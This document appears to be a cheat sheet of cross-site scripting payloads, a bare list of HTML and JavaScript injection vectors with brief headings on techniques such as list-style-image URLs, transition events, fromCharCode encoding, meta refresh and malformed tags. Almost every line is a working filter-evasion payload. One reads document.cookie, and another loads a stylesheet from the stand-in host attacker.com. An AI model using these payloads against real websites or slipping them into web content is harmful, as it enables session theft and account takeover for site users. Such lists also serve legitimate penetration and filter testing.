- The list-style-image propery
<style> li {list-style-image: url("javascript:confirm(1)");}
<img lowsrc="javascript:confirm(1)">
![]()
- Using the transition event
<style>:target {color: red;}</style>
<div id=x style="transition: color 1s" ontransitionstart=confirm(1)></div>
<img src=javascript:confirm("xss") />
<img src=`javascript:confirm(1)`>
\<a onmouseover="confirm(document.cookie)"\>click\</a\>
<img """><script>confirm(1)</script"\>
- Using the fromCharCode() method
<img src=javascript:confirm(String.fromCharCode(88,83,83))>
- Exploiting the bgsound tag
<bgsound src="javascript:confirm(1);">
<link rel="stylesheet" href="http://attacker.com/xss.css" />
- Inside the meta tag content
<meta http-equiv="refresh" content="0;url=javascript:confirm(1);">
<iframe src="javascript:confirm(1);"></iframe>
<div style="background-image: url(javascript:confirm(1))"></div>
<img src="javªascript:confirm(1)" />
<img src="jav ascript:confirm(1)" />
<img src=# onmouseover="confirm(1)" />
<img src= onmouseover="confirm(1)" />
<img src=/ onerror="confirm(1)" />
- Decimal HTML character references
<img src=javascript:alert('XSS')>
<img dynsrc="javascript:confirm(1)">
<input type="image" src="javascript:confirm(1)">
- Half open HTML/Javascript
<img src="`<javascript:confirm`>(1)"
<<script> confirm(1) //\<</script>